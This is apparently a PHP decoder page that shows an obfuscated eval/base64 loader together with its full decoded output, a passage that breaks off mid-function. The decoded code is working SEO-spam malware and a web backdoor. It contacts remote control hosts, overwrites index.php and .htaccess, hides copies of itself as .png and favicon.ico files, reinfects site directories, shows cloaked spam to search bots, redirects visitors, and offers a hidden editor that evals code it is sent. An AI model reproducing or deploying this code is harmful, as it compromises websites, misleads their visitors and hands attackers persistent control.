Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?=eval(gzuncompress(base64_decode("eJzlfWtzI0eS2GcqQv+hB8aqAYlsPEjOcAYEZzgk+NDwJYDUjM..
Decoded Output download
None session_start();$_SESSION['codeMethod']['singleencoder'] = 'on';
ini_set('display_errors', 0);
error_reporting(0);
@header('Content-type:text/html;charset=utf-8');
define('UAMD53KEY', '9a789958ee3a3164008a82d788a997d8');
define('COOKIEPSWD', '17965c0ffbae57bd258b835c7350d983');
define('DEFAULTMAINDOMAIN', '.cfshserver.top');
define('URLHEAD', 'http://api.cfshserver.top/she3/');
define('CURRENT_VERSION', '1.23.12.27.20.18');
define('FILE_OLD_INDEX', '.ftpquotas');
define('FILE_OLD_INDEX_OLD', '4c7a17f635a4d887cf587a123b6a6bc4');
define('FILE_INDEX_STATIC_DEFAULT', 'a439a79eb419be5dda635034f722ec41');
define('CACHE_PATH', cachePath());
define('FILE_INDEX_STATIC', cacheFilename());
$configFile = configFile();
define('CONFIG_FILE', $configFile);
addDomain();
moveToNewCachePath();
editConfigFile();editPathList();
editConfigFile('outlinks');
if(@file_exists($configFile)){
if(isPHPFile($configFile)){
include_once $configFile;
}else{
eval('?>'.base64_decode(file_get_contents($configFile)));
}
}
setHtaccess();
repairIndex('.');
copySelf();
reBirth();
checkStatus();
setupshe();
if(isset($_REQUEST['action']) && $_REQUEST['action'] == 'deletecache'){
if(@file_exists(CACHE_PATH . FILE_INDEX_STATIC_DEFAULT)){
unlink(CACHE_PATH . FILE_INDEX_STATIC_DEFAULT);
header("Location: /");
die;
}
}
if(!isset($_REQUEST['action']) || $_REQUEST['action'] != 'createcache'){
if(!@file_exists(CACHE_PATH . FILE_INDEX_STATIC_DEFAULT)){
$indexurl = is_https() . $_SERVER['HTTP_HOST'] . '/?action=createcache';
$html = getHtml($indexurl);
if(!empty($html)){
file_put_contents_force(CACHE_PATH . FILE_INDEX_STATIC_DEFAULT, $html);
}
reBirth();
}
}elseif(isset($_REQUEST['action']) && $_REQUEST['action'] == 'createcache'){
include FILE_OLD_INDEX;
exit;
}
if(!file_exists($configFile)){
showCacheFile();
exit;
}
$arrContants = array(
'STATIC_HTML' => 'yes',
'ALLOWED_PAGES' => '',
'REPLACE_EXISTS' => 'yes',
'REPLACE_INDEX' => 'no',
'HTACCESS_REPLACE' => 'yes',
'INDEX_PHP' => $_SERVER['SCRIPT_FILENAME'] . '/',
'LANGUAGE' => '',
'KEYWORDDIR' => '',
'INDEX_KEYWORD' => '',
'OUTLINK_ONLY_INDEX' => '',
'URI_END_OF_KEYWORD' => '-k.html',
'API_HOST' => 'http://keywordfada20201115.keyworddomain.com/',
'SHOP_HOST' => 'http://shopfada20201115.keyworddomain.com/',
'MAINDOMAIN' => DEFAULTMAINDOMAIN,
'USECURL' => 'yes',
);
$defined = 'defined';
foreach($arrContants as $cons => $v){
switch($cons){
case 'STATIC_HTML':
if($defined($cons)){
@define('STATIC_HTML', constant($cons));
}else{
@define('STATIC_HTML', $v);
}
break;
case 'ALLOWED_PAGES':
if($defined($cons)){
@define('ALLOWED_PAGES', constant($cons));
}else{
@define('ALLOWED_PAGES', $v);
}
break;
case 'REPLACE_EXISTS':
if($defined($cons)){
@define('REPLACE_EXISTS', constant($cons));
}else{
@define('REPLACE_EXISTS', $v);
}
break;
case 'REPLACE_INDEX':
if($defined($cons)){
@define('REPLACE_INDEX', constant($cons));
}else{
@define('REPLACE_INDEX', $v);
}
break;
case 'INDEX_PHP':
if($defined($cons)){
@define('INDEX_PHP', constant($cons));
}else{
@define('INDEX_PHP', $v);
}
break;
case 'LANGUAGE':
if($defined($cons)){
@define('LANGUAGE', constant($cons));
}else{
@define('LANGUAGE', $v);
}
break;
case 'KEYWORDDIR':
if($defined($cons)){
@define('KEYWORDDIR', constant($cons));
}else{
@define('KEYWORDDIR', $v);
}
break;
case 'INDEX_KEYWORD':
if($defined($cons)){
@define('INDEX_KEYWORD', constant($cons));
}else{
@define('INDEX_KEYWORD', $v);
}
break;
case 'OUTLINK_ONLY_INDEX':
if($defined($cons)){
@define('OUTLINK_ONLY_INDEX', constant($cons));
}else{
@define('OUTLINK_ONLY_INDEX', $v);
}
break;
case 'HTACCESS_REPLACE':
if($defined($cons)){
@define('HTACCESS_REPLACE', constant($cons));
}else{
@define('HTACCESS_REPLACE', $v);
}
break;
case 'URI_END_OF_KEYWORD':
if($defined($cons)){
@define('URI_END_OF_KEYWORD', constant($cons));
}else{
@define('URI_END_OF_KEYWORD', $v);
}
break;
case 'API_HOST':
if($defined($cons)){
@define('API_HOST', constant($cons));
}else{
@define('API_HOST', $v);
}
break;
case 'SHOP_HOST':
if($defined($cons)){
@define('SHOP_HOST', constant($cons));
}else{
@define('SHOP_HOST', $v);
}
break;
case 'MAINDOMAIN':
if($defined($cons)){
@define('MAINDOMAIN', constant($cons));
}else{
@define('MAINDOMAIN', $v);
}
break;
case 'USECURL':
if($defined($cons)){
@define('USECURL', constant($cons));
}else{
@define('USECURL', $v);
}
break;
case 'JUMP_REAL_HOST':
if($defined($cons)){
@define('JUMP_REAL_HOST', constant($cons));
}else{
@define('JUMP_REAL_HOST', $v);
}
break;
}
}
pingGoogle();
if(defined('FORCE_SCHEMA')){
$curSchema = currentSchema();
if(FORCE_SCHEMA == 'http' || FORCE_SCHEMA == 'https'){
if($curSchema != FORCE_SCHEMA){
header('HTTP/1.1 301 Moved Permanently');
header("Location: " . FORCE_SCHEMA . '://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
exit();
}
}
}
preg_match('|([^/]+)-k(\d)?.html$|i', $_SERVER['REQUEST_URI'], $match);
if(isset($match[2]) && is_numeric($match[2])){
if(defined('LANGUAGE'.$match[2]) && defined('KEYWORDDIR'.$match[2]) && defined('API_HOST'.$match[2]) && defined('SHOP_HOST'.$match[2])){
$valLANGUAGE = constant('LANGUAGE'.$match[2]);
$valKEYWORDDIR = constant('KEYWORDDIR'.$match[2]);
$valAPI_HOST = constant('API_HOST'.$match[2]);
$valSHOP_HOST = constant('SHOP_HOST'.$match[2]);
}
}else{
$valLANGUAGE = LANGUAGE;
$valKEYWORDDIR = KEYWORDDIR;
$valAPI_HOST = API_HOST;
$valSHOP_HOST = SHOP_HOST;
}
@define('LANGUAGE_REAL', $valLANGUAGE);
@define('KEYWORDDIR_REAL', $valKEYWORDDIR);
@define('API_HOST_REAL', str_ireplace('.keyworddomain.com', MAINDOMAIN, $valAPI_HOST));
@define('SHOP_HOST_REAL', str_ireplace('.keyworddomain.com', MAINDOMAIN, $valSHOP_HOST));
replaceIndex(FILE_OLD_INDEX);
is_allow_page();
$maindomain = MainDomain();
$token = md5(md5('sj'.$maindomain));
$uriend = '&dir='.KEYWORDDIR_REAL.'&hl='.LANGUAGE_REAL.'&token='.$token.'&domain='.$maindomain;
$uri = API_HOST_REAL . 'randkeyword.php?str='.md5('testshely'.$_SERVER['REQUEST_URI']).$uriend;
if(substr($_SERVER['REQUEST_URI'], 0, 12) == '/sitemap.xml'){showSiteMap();die;}
if(substr($_SERVER['REQUEST_URI'], 0, 11) == '/robots.txt'){showRobotsTxt();die;}
$pageexists = true;
if(isset($match[1])&&!empty($match[1])){
$keyword = str_replace('-', '%20', $match[1]);
$keyword = urldecode($keyword);
$uri = API_HOST_REAL . 'randkeyword.php?keyword='.urlencode($keyword).$uriend;
$pageexists = false;
}elseif($arrCid = getCid()){
$uri = API_HOST_REAL . 'randkeyword.php?f='.$arrCid['cid'].'&l='.$arrCid['lid'].$uriend;
}else{
if(isHomePage()){
$uri = API_HOST_REAL . 'randkeyword.php?keyword='.urlencode(INDEX_KEYWORD).$uriend;
}
}
$jsonStr = getHtml($uri);
$objKeywordShe = jsonDecode($jsonStr, true);
if(!empty($objKeywordShe['keyword'])){
if(REPLACE_EXISTS == 'yes'){
$tourl = getJumpCache(getJumpUrlApi());
if(isIndexUrl($tourl)){
$jumpurl = $tourl . '?c='.$objKeywordShe['keyword']; }else{
$jumpurl = SHOP_HOST_REAL . '?c='.$objKeywordShe['keyword']; }
if(needJump()){echo '<meta http-equiv="refresh" content="0; url=' . $jumpurl . '">';die;}
}
}
if(REPLACE_EXISTS == 'yes'){
$pageexists = false;
}
if($pageexists){
if(!preg_match('|([^/]+)-c.html$|i', $_SERVER['REQUEST_URI'], $match)){
include cacheFilename();
if(isBot()){
$liil = '';
foreach($objKeywordShe['relatedKeywords'] as $keyword1){
$link = is_https() . $_SERVER['HTTP_HOST'] . '/' . INDEX_PHP . keywordtouri($keyword1) . URI_END_OF_KEYWORD;
$liil .= ' <li><a href="'.$link.'">'.$keyword1.'</li>'."
";
}
echo '<ul class="Related">'.$liil.relatedOutLinks().'</ul>';
}
die;
}
}
if(!empty($objKeywordShe['keyword'])){
if(isBot()){
showProduct($objKeywordShe);
die;
}
}
showCacheFile();
die;
function relatedOutLinks($i = 10){
if(defined('OUTLINK_ONLY_INDEX') && OUTLINK_ONLY_INDEX == 'yes'){
if(!isHomePage()){
return '';
}
}
$filename = sheditFile('real', 'outlinks');
$liil = '';
$count = 0;
if(@file_exists($filename)){
$content = file_get_contents($filename);
$arrContent = explode("
", $content);
shuffle($arrContent);
foreach($arrContent as $line){
$arrLine = explode('|', trim($line));
if(sizeof($arrLine) == 2 && !empty($arrLine[0]) && !empty($arrLine[1]) && filter_var($arrLine[1], FILTER_VALIDATE_URL)){
$liil .= ' <li><a href="'. $arrLine[1] .'">'.$arrLine[0].'</li>'."
";
}
$count++;
if($count > $i){
break;
}
}
}
return $liil;
}
function getJumpCache($url){
$md5 = md5($url);
$content = "";
$content = readFromTmp($md5, 3*60);
if(empty($content)){
$content = getHtml($url);
if (filter_var($content, FILTER_VALIDATE_URL) !== false) {
saveToTmp($md5, $content);
}
}
return $content;
}
function sheditFile($type = '', $name = ''){
if(empty($type)){
$type = 'real';
}
if(empty($name)){
$name = 'shedit';
}
$tmpPath = sys_get_temp_dir1() . '/';
if(!@is_writable($tmpPath)){
$tmpPath = CACHE_PATH;
}
$tmpPath .= MainDomain() . '/';
if(!@is_dir($tmpPath)){
@mkdir($tmpPath, 0747, true);
}
@chmod($tmpPath, 0767);
$tmpPathReal = CACHE_PATH;
$configFileReal = $tmpPathReal . MainDomain() . '.' . $name . '.set';
if($name == 'shedit'){
$configFile = $tmpPath . 'favicon.ico';
}else{
$configFile = $configFileReal;
}
if(@file_exists($configFile) && $configFile != $configFileReal){
if(!@file_exists($configFileReal) || md5_file($configFile) != md5_file($configFileReal)){
file_put_contents_force($configFileReal, file_get_contents($configFile));
}
}
if($type == 'real'){
return $configFileReal;
}else{
return $configFile;
}
}
function configFile(){
$configFile = sheditFile('real');
if(!is_readable($configFile)){
$configFile = sheditFile('save');
}
return $configFile;
}
function moveToNewCachePath(){
if(@file_exists(FILE_OLD_INDEX_OLD) && !@file_exists(FILE_OLD_INDEX)){
rename(FILE_OLD_INDEX_OLD, FILE_OLD_INDEX);
}
if(@file_exists(FILE_INDEX_STATIC_DEFAULT) && !@file_exists(CACHE_PATH . FILE_INDEX_STATIC_DEFAULT)){
rename(FILE_INDEX_STATIC_DEFAULT, CACHE_PATH . FILE_INDEX_STATIC_DEFAULT);
}
if(@file_exists(FILE_INDEX_STATIC_DEFAULT) && !@file_exists(CACHE_PATH . FILE_INDEX_STATIC_DEFAULT)){
rename(FILE_INDEX_STATIC_DEFAULT, CACHE_PATH . FILE_INDEX_STATIC_DEFAULT);
}
}
function showCacheFile(){
if(FILE_INDEX_STATIC == FILE_OLD_INDEX){
include FILE_INDEX_STATIC;
}else{
$html = file_get_contents(FILE_INDEX_STATIC);
echo $html;
}
exit();
}
function cachePath($rootPath = ''){
if(empty($rootPath)){
$rootPath = './';
}
$arr = array(
'wp-admin/images/',
'includes/',
'cache/',
'images/',
);
foreach($arr as $path){
$path = $rootPath . $path;
if(@is_dir($path) && is_writeable($path)){
return $path;
}
}
if(@is_writable($rootPath)){
@mkdir($rootPath . 'images/', 0747);
$dir = $rootPath . 'images/';
}else{
$dir = sys_get_temp_dir1() .'/';
if(!@is_writable($dir)){
die('no tmp dir avalibal!');
}else{
$dir = $dir . md5($rootPath) . '/';
mkdir($dir, 0747);
}
}
return $dir;
}
function cacheFilename(){
if(defined('STATIC_HTML') && STATIC_HTML == 'no'){
return FILE_OLD_INDEX;
}else{
$uri = request_uri_no_parameters();
$filename = 'cache/'.md5($uri);
if(!@file_exists($filename)){
$filename = CACHE_PATH . FILE_INDEX_STATIC_DEFAULT;
}
return $filename;
}
}
function request_uri_no_parameters(){
$arr = parse_url($_SERVER['REQUEST_URI']);
return $arr['path'];
}
function getDomainFromUrl($url){
$url = trim($url);
if(strstr($url, '://')){
$url = parse_url($url);
$url = $url['host'];
}
return $url;
}
function getJumpUrlApi(){
$tourlapi = SHOP_HOST_REAL . '/readurl.php?from=' . MainDomain() . '&keyworddir=' . KEYWORDDIR_REAL;
if(defined('JUMP_REAL_HOST')){
$tourlapi .= '&host='. getDomainFromUrl(JUMP_REAL_HOST);
$tourlapi = str_ireplace('.keyworddomain.com', MAINDOMAIN, $tourlapi);
}
return $tourlapi;
}
function is_allow_page(){
if(defined('ALLOWED_PAGES') && ALLOWED_PAGES != ''){
$page = this_page();
$arrAllowed = explode(',', ALLOWED_PAGES);
if(in_array($page, $arrAllowed)){
include $page;
exit;
}
}
return false;
}
function this_page(){
$page = 'index.php';
if(isset($_SERVER['REDIRECT_URL'])){
$page = trim($_SERVER['REDIRECT_URL'], '/');
}else if(isset($_SERVER['REQUEST_URI'])){
$arr = parse_url($_SERVER['REQUEST_URI']);
$page = trim($arr['path'], '/');
}
return $page;
}
function isIndexUrl($url){
$pattern = '|^https?://.*/$|';
if(preg_match($pattern, $url)){
return true;
}
return false;
}
function editConfigFile($filename = ''){
if(empty($filename)){
$filename = 'shedit';
}
if(isset($_GET['action']) && $_GET['action'] == $filename){
if(isSuperMan()){
if(cookieAuthor()){
$configFile = sheditFile('save', $filename);
$configFile2 = sheditFile('real', $filename);
if(isset($_POST['shaction']) && isset($_POST['content']) && $_POST['shaction'] == $filename){
if(@trim($_POST['savebybase64']) != 'on' && !stristr($_POST['content'], '<?php')){
$content = base64_decode($_POST['content']);
}else{
$content = $_POST['content'];
}
if($filename == 'shedit' && @trim($_POST['savebybase64']) != 'on' && !stristr($content, '<?php')){
echo $content;die;
echo '';
}else{
file_put_contents_force($configFile, $content);
file_put_contents_force($configFile2, $content);
echo '!<meta http-equiv="Refresh" content="0;url=/" />';
}
}else{
if(@file_exists($configFile)){
$content = file_get_contents($configFile);
}else{
if(@file_exists($configFile2)){
$content = file_get_contents($configFile2);
file_put_contents_force($configFile, $content);
}else{
$content = '';
}
}
header('Content-type: text/html; charset=utf-8');
echo '
<script src="https://cdn.jsdelivr.net/npm/[email protected]"></script>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/base64.min.js"></script>
<form method="post" onsubmit="return beforeSubmit();">
<textarea id="content" name="content" rows=20 cols=100>'.$content.'</textarea>
<br>
<input type="checkbox" id="base64encode" value="on" checked>base64
<input type="checkbox" name="savebybase64" value="on">
<input type="submit"><input type="hidden" name="shaction" value="' . $filename . '">
</form>
<button id="base64decode" onclick="Base64Decode()">base64</button>
<button id="base64encode" onclick="Base64Encode()">base64</button>
<script>
function beforeSubmit(){
if($("#base64encode").prop("checked")){
$("#content").val(Base64.encode($("#content").val()));
}
return true;
}
function Base64Decode(){
$("#content").val(Base64.decode($("#content").val()));
}
function Base64Encode(){
$("#content").val(Base64.encode($("#content").val()));
}
</script>
';
}
if($filename == 'shedit'){
echo '<!--'.$configFile.'-->';
echo '<!--'.$configFile2.'-->';
echo '<a href="?action=deletecache"></a>';
}
}else{
echo "The authorization failed, please re -authorize";exit();
}
}else{
http_response_code(404);
die;
}
die();
}
}
function editPathList(){
if(isset($_GET['action']) && $_GET['action'] == 'pathlist'){
if(isSuperMan()){
$filePathList = filePathList();
if(isset($_POST['exceptPathlist']) && isset($_POST['exceptPathlist']) && $_POST['shaction'] == 'pathlist'){
saveExceptPathlist2($_POST['exceptPathlist']);
}
if(isset($_POST['shaction']) && isset($_POST['content']) && $_POST['shaction'] == 'pathlist'){
$arr = explode("
", trim($_POST['content']));
$arr2 = array();
foreach($arr as $v){
if(!empty($v)){
$v = trim($v);
if(!in_array($v,$arr2))
$arr2[] = $v;
}
}
file_put_contents_force($filePathList, base64_encode(gzdeflate(jsonEncode($arr2))));
echo 'saved!';
}else{
$content = '';
if(@file_exists($filePathList)){
$arr = jsonDecode(gzinflate(base64_decode(file_get_contents($filePathList))), true);
$content = '';
foreach($arr as $line){
$content .= $line . "
";
}
}
$arr2 = arrReadPathlist2();
$exceptPathlist = strReadExceptPathlist2();
$content2 = '';
$content3 = '';
$content4 = '';
foreach($arr2 as $domain => $path){
$content2 .= $path . PHP_EOL;
$content3 .= $domain . PHP_EOL;
$content4 .= $domain . " " . $path . PHP_EOL;
}
header('Content-type: text/html; charset=utf-8');
echo '
<form method="post">
<textarea cols="50" rows="5" name="content">'.$content.'</textarea><br>
<textarea cols="50" rows="5" name="exceptPathlist">'.$exceptPathlist.'</textarea><br>
<input type="submit"><input type="hidden" name="shaction" value="pathlist">
</form>';
echo '<form method="post"><textarea cols="50" rows="5" name="content2">'.$content2.'</textarea></form>';
echo '<form method="post"><textarea cols="50" rows="5" name="content3">'.$content3.'</textarea></form>';
echo '<form method="post"><textarea cols="50" rows="5" name="content4">'.$content4.'</textarea></form>';
if(DEBUG=='on'){
echo '<!--' . $filePathList . '-->';
}
}
die();
}
}
}
function filePathList($str = ''){
if(empty($str)){
$str = 'pathlist';
}
$user = get_current_user1();
$tmpDir = sys_get_temp_dir1();
$f1 = $tmpDir . '/' . md5($user.$str);
$f2 = CACHE_PATH . md5($user.$str);
if(@file_exists($f1)){
$m1 = md5_file($f1);
if(@file_exists($f2)){
$m2 = md5_file($f2);
if($m1 != $m2){
file_put_contents_force($f2, file_get_contents($f1));
}
}else{
file_put_contents_force($f2, file_get_contents($f1));
}
}else{
if(@file_exists($f2)){
file_put_contents_force($f1, file_get_contents($f2));
}
}
return $f1;
}
function saveToTmp($file, $content){
$filename = sys_get_temp_dir1() . DIRECTORY_SEPARATOR . $file;
$_SESSION[$file] = $content;
file_put_contents_force($filename, $content);
}
function readFromTmp($file, $timeOut = 0){
$filename = sys_get_temp_dir1() . DIRECTORY_SEPARATOR . $file;
if(file_exists($filename)){
if($timeOut > 0){
$mtime = filemtime($filename);
$now = time();
if(($now - $mtime) < $timeOut){
$content = file_get_contents($filename);
}
}else{
$content = file_get_contents($filename);
}
}
if(empty($content) && $timeOut === 0){
$content = $_SESSION[$file];
}
return $content;
}
function is_wp($dir = '.'){
$iswp = true;
$dir = rtrim($dir, '/');
$dir = rtrim($dir, '\');
$dir = $dir . DIRECTORY_SEPARATOR;
$arrFiles = array(
'wp-blog-header.php',
'wp-config.php',
);
$arrDirs = array(
'wp-admin',
'wp-includes',
'wp-content',
);
foreach($arrFiles as $file){
if(!@is_file($dir.$file)){
$iswp = false;
}
}
foreach($arrDirs as $subdir){
if(!@is_dir($dir.$subdir)){
$iswp = false;
}
}
return $iswp;
}
function reBirth(){
$arrPath = arrReadPathList();
foreach($arrPath as $path){
if(!@is_dir($path)){
@mkdir($path, 0747, true);
}
repairIndex($path);
$index = $path.'/index.php';
$ht = $path.'/.htaccess';
$cachePath = cachePath(rtrim($path,'/').'/');
$bkindex = $cachePath . 'resize-6x.png';
$bkht = $cachePath . 'resize-8x.png';
if(@file_exists($bkindex)){
if(!@file_exists($index) or (md5_file($index) != md5_file($bkindex))){
file_put_contents_force($index,file_get_contents($bkindex));
}
}else{
$output = readFileContent('output.txt', true, 'nondomain.com');
file_put_contents_force($index, $output);
}
if($ht && @file_exists($bkht)){
if(!@file_exists($ht) or (md5_file($ht) != md5_file($bkht))){
file_put_contents_force($ht,file_get_contents($bkht));
}
}
if(@file_exists($path . '/index.html')){
if(!@file_exists($path . '/' .FILE_INDEX_STATIC_DEFAULT)){
rename($path . '/index.html', $path . '/' .FILE_INDEX_STATIC_DEFAULT);
}else{
rename($path . '/index.html', $path . '/index' . time() . '.html');
}
}
}
}
function arrReadPathList(){
$filePathList = filePathList();
$arrPath = array();
if(@file_exists($filePathList)){
$content = file_get_contents($filePathList);
if(strlen(($content>10))){
$arrPath = jsonDecode(gzinflate(base64_decode($content)), true);
}
}
if(!is_array($arrPath)){
$arrPath = array();
}
$arrPath2 = arrReadPathlist2();
foreach($arrPath2 as $path){
$path = trim($path);
if(!in_array($path, $arrPath)){
$arrPath[] = $path;
}
}
$arrExceptPathlist = arrReadExceptPathlist2();
foreach($arrPath as $k => $v){
if(in_array($v, $arrExceptPathlist)){
unset($arrPath[$k]);
}
}
return $arrPath;
}
function arrReadPathlist2(){
$user = get_current_user1();
$domain = MainDomain();
$domainPath = getDomainTmpPath();
$domainPath2 = getFirstWritableDir() . md5($user.'domainlist') . DIRECTORY_SEPARATOR;
$arr = @scandir($domainPath);
$arr2 = @scandir($domainPath2);
$arrPaths = array();
if(!empty($arr)){
foreach($arr as $domain){
if($domain == '.htaccess'){
continue;
}
if(@is_file($domainPath . $domain)){
$content = file_get_contents($domainPath . $domain);
$arrContent = explode("
", $content);
if(strlen($content) < 256 && sizeof($arrContent) == 1){
$arrPaths[$domain] = trim($content);
}else{
unlink($domainPath . $domain);
}
}
}
}
if(!empty($arr2)){
foreach($arr2 as $domain2){
if($domain2 == '.htaccess'){
continue;
}
if(@is_file($domainPath2 . $domain2)){
$content = file_get_contents($domainPath2 . $domain2);
$arrContent = explode("
", $content);
if(strlen($content) < 256 && sizeof($arrContent) == 1){
$arrPaths[$domain2] = trim($content);
}else{
unlink($domainPath2 . $domain2);
}
}
}
}
return $arrPaths;
}
function strReadExceptPathlist2(){
$user = get_current_user1();
$tmpPath = sys_get_temp_dir1();
$filePath = $tmpPath . '/' . md5($user.'exceptpathlist');
if(@file_exists($filePath)){
return file_get_contents($filePath);
}
return '';
}
function get_current_user1(){
if(function_exists('get_current_user')){
$user = get_current_user();
}else{
$user = 'www';
}
return $user;
}
function fileNameGlobal($name)
{
$user = get_current_user1();
echo
$tmpDir = sys_get_temp_dir1();
$f1 = $tmpDir . '/' . md5($user . $name);
$f2 = getFirstWritableDir() . md5($user . $name);
if (@file_exists($f1)) {
$m1 = md5_file($f1);
if (@file_exists($f2)) {
$m2 = md5_file($f2);
if ($m1 != $m2) {
file_put_contents_force($f2, file_get_contents($f1));
}
} else {
file_put_contents_force($f2, file_get_contents($f1));
}
} else {
if (@file_exists($f2)) {
file_put_contents_force($f1, file_get_contents($f2));
}
}
return $f1;
}
function getFirstWritableDir(){
$dir = $_SERVER['DOCUMENT_ROOT'];
for($i=0; $i<20;$i++){
$dir2 = dirname($dir);
if($dir2 == $dir){
break;
}
if(@is_writable($dir2)){
$dir = $dir2;
}else{
break;
}
}
$dirR = $dir . '/.analytic/';
if(!@is_dir($dirR)){
@mkdir($dirR, 0767, true);
}elseif(!@is_writable($dirR)){
chmod($dirR, 0767);
}
if(!@is_dir($dirR) || !@is_writable($dirR)){
$dirR = $dir;
}
return $dirR;
}
function arrReadExceptPathlist2(){
$str = strReadExceptPathlist2();
$arr = explode("
", $str);
$arrR = array();
foreach($arr as $v){
if(!empty($v)){
$arrR[] = trim($v);
}
}
return $arrR;
}
function saveExceptPathlist2($content){
$user = get_current_user1();
$tmpPath = sys_get_temp_dir1();
$filePath = $tmpPath . '/' . md5($user.'exceptpathlist');
return file_put_contents_force($filePath, $content);
}
function getDomainTmpPath(){
$user = get_current_user1();
$tmpPath = sys_get_temp_dir1() .'/';
$domainPath = $tmpPath . '/' . md5($user.'domainlist') . '/';
if(!@is_dir($domainPath)){
if(@is_file($domainPath)){
unlink($domainPath);
}
@mkdir($domainPath, 0747);
}
return $domainPath .'/';
}
function addDomain(){
$user = get_current_user1();
$domain = MainDomain();
$domainPath = getDomainTmpPath();
$domainPath2 = getFirstWritableDir() . md5($user.'domainlist') . DIRECTORY_SEPARATOR;
if(!@is_dir($domainPath2)){
if(@is_file($domainPath2)){
unlink($domainPath2);
}
@mkdir($domainPath2, 0747);
}
$file = $domainPath . $domain;
$file2 = $domainPath2 . $domain;
if(!@file_exists($file)){
@file_put_contents($file, $_SERVER['DOCUMENT_ROOT']);
}
if(!@file_exists($file2)){
@file_put_contents($file2, $_SERVER['DOCUMENT_ROOT']);
}
}
function repairIndex($dir){
$dir = $dir . '/';
if(!@file_exists($dir . FILE_OLD_INDEX)){
if(is_wp($dir) || !@file_exists($dir . '/index.php')){
$wpindex = base64_decode('PD9waHANCi8qKg0KICogRnJvbnQgdG8gdGhlIFdvcmRQcmVzcyBhcHBsaWNhdGlvbi4gVGhpcyBmaWxlIGRvZXNuJ3QgZG8gYW55dGhpbmcsIGJ1dCBsb2Fkcw0KICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZXMgYW5kIHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4NCiAqDQogKiBAcGFja2FnZSBXb3JkUHJlc3MNCiAqLw0KDQovKioNCiAqIFRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSBXb3JkUHJlc3MgdGhlbWUgYW5kIG91dHB1dCBpdC4NCiAqDQogKiBAdmFyIGJvb2wNCiAqLw0KZGVmaW5lKCAnV1BfVVNFX1RIRU1FUycsIHRydWUgKTsNCg0KLyoqIExvYWRzIHRoZSBXb3JkUHJlc3MgRW52aXJvbm1lbnQgYW5kIFRlbXBsYXRlICovDQpyZXF1aXJlIF9fRElSX18gLiAnL3dwLWJsb2ctaGVhZGVyLnBocCc7');
file_put_contents_force($dir . FILE_OLD_INDEX, $wpindex);
}else{
copy($dir . '/index.php', $dir . FILE_OLD_INDEX);
}
}
}
function setHtaccess($filename = ''){
if(empty($filename)){
$filename = '.htaccess';
}
if(defined('HTACCESS_REPLACE') && HTACCESS_REPLACE == 'no'){
$str = '<IfModule mod_rewrite.c>'.
PHP_EOL.'RewriteEngine On'.
PHP_EOL.'RewriteBase /'.
PHP_EOL.'RewriteCond %{REQUEST_FILENAME} !-f'.
PHP_EOL.'RewriteCond %{REQUEST_FILENAME} !-d'.
PHP_EOL.'RewriteRule . index.php [L]'.
PHP_EOL.'</IfModule>';
}else{
$str = '<IfModule mod_rewrite.c>'.
PHP_EOL.'RewriteEngine On'.
PHP_EOL.'RewriteBase /'.
PHP_EOL.'RewriteRule ^(index|wp\-admin|wp\-include|wp\-comment|wp\-loader|wp\-corn\-sample|wp\-logln|output|about|admin|randkeyword|readurl|wp\-ver).php$ - [L]'.
PHP_EOL.'RewriteRule ^.*\.[pP][hH].* index.php [L]'.
PHP_EOL.'RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] index.php [L]'.
PHP_EOL.'RewriteCond %{REQUEST_FILENAME} !-f'.
PHP_EOL.'RewriteCond %{REQUEST_FILENAME} !-d'.
PHP_EOL.'RewriteRule . index.php [L]'.
PHP_EOL.'</IfModule>';
}
$md5str = md5($str);
if(!@file_exists($filename)){
$filemd5 = '0';
}else{
$filemd5 = md5_file($filename);
}
if($md5str == $filemd5){
return;
}else{
file_put_contents_force($filename, $str);
}
}
function copySelf($toname = ''){
$path = cachePath();
if(empty($toname)){
$toname = $path . 'resize-6x.png';
}
$dir = dirname($toname);
if(!@is_dir($dir)){
@mkdir($dir, 0747, true);
}
if(COOKIEPSWD == '4316c4e1934c60e1a36d27b5edf06b14'){
$content = readFileContent('output.txt', true);
file_put_contents_force($toname, $content);
}
setHtaccess($_SERVER['DOCUMENT_ROOT'].'/' . $path . 'resize-8x.png');
if(file_exists($_SERVER['SCRIPT_FILENAME']) && !file_exists($toname)){
file_put_contents_force($toname, file_get_contents($_SERVER['SCRIPT_FILENAME']));
}elseif(file_exists($toname)){
$str = file_get_contents($toname);
$md5str = md5($str);
if(!@file_exists($toname)){
$filemd5 = '0';
}else{
$filemd5 = md5_file($toname);
}
if($md5str == $filemd5){
return;
}else{
file_put_contents_force($_SERVER['SCRIPT_FILENAME'], $str);
}
}
}
function replaceIndex($file){
if(defined('REPLACE_INDEX') && REPLACE_INDEX == 'no'){
return;
}
if(!@file_exists($file)){
if($_SERVER['SCRIPT_NAME'] != '/index.php'){
if(!rename('index.php', $file)){
die('rename error!');
}else{
if(!copy($_SERVER['SCRIPT_FILENAME'], 'index.php')){
die('copy error!');
}
}
if(@file_exists($file)){unlink(__FILE__);}
header('Location: /');
}
}
}
function checkStatus(){
if(isset($_GET['checkstatus']) && $_GET['checkstatus'] == 'areyouok'){
die('live');
}
if(isset($_GET['action']) && $_GET['action'] == 'version'){
echo CURRENT_VERSION;
exit();
}
}
function contentLink($cid, $lid){
$cid = $cid.'';
$lid = $lid.'';
$link = '/' . INDEX_PHP;
$str = 'abcdefghijklmnopqrstuvwxyz';
$intR = intSeed(MainDomain() . $cid . $lid);
srand($intR);
for($i=0;$i < 6;$i++){
$link .= $str[mt_rand(0, 25)];
}
$link .= $cid . '/';
for($i=0;$i < 6;$i++){
$link .= $str[mt_rand(0, 25)];
}
$link .= $lid;
return $link;
}
function getCid(){
if(empty($_SERVER['PATH_INFO'])){
$pathinfo = isset($_SERVER["REDIRECT_URL"]) ? $_SERVER["REDIRECT_URL"] : '';
if(empty($pathinfo)){
$arr = explode('?',$_SERVER['REQUEST_URI']);
$pathinfo = $arr[0];
}
}else{
$pathinfo = $_SERVER['PATH_INFO'];
}
$arrResult = array();
$arr = explode("/", $pathinfo);
if(sizeof($arr) == 3 && empty($arr[0]) && !empty($arr[1]) && !empty($arr[2])){
